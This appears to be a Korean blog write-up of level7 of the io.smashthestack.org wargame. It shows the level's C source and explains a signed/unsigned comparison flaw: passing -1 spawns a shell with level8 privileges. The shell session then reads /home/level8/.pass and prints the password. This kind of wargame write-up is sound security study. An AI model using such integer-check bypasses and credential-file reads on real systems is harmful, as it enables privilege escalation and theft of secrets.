level7
2010. 1. 19. 06:01
level7의 소스입니다.
별다른건 없고 sscanf 로 argv[1]의 값들을 정수화해서 id에 집어넣습니다.
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
// We are never deceived; we deceive ourselves. - Johann Wolfgang von Goethe
void check_id(unsigned int id)
{
if(id > 10) {
execl("/bin/sh", "sh", NULL);
} else {
printf("Not today son\n");
}
}
int main(int argc, char *argv[])
{
int id;
sscanf(argv[1], "%d", &id);
if(id > 10) {
printf("Erm....no\n");
exit(-1);
}
check_id(id);
return 0;
}
check_id 함수의 인자로 unsigned int 를 받는게 왠지 시선을 끌길래.. 음수를 넣어봤더니
level7@io:/levels$ ./level7 -1
sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)
sh-3.1$ cat /home/level8/.pass
ca1fiase > zkq5xlnh
sh-3.1$ id
uid=1007(level7) gid=1007(level7) euid=1008(level8) groups=1007(level7)
sh-3.1$ cat /home/level8/.pass
'War game > io.smashthestack.org' 카테고리의 다른 글
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level9 (0) | 2010.01.21 |
level8 (0) | 2010.01.21 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |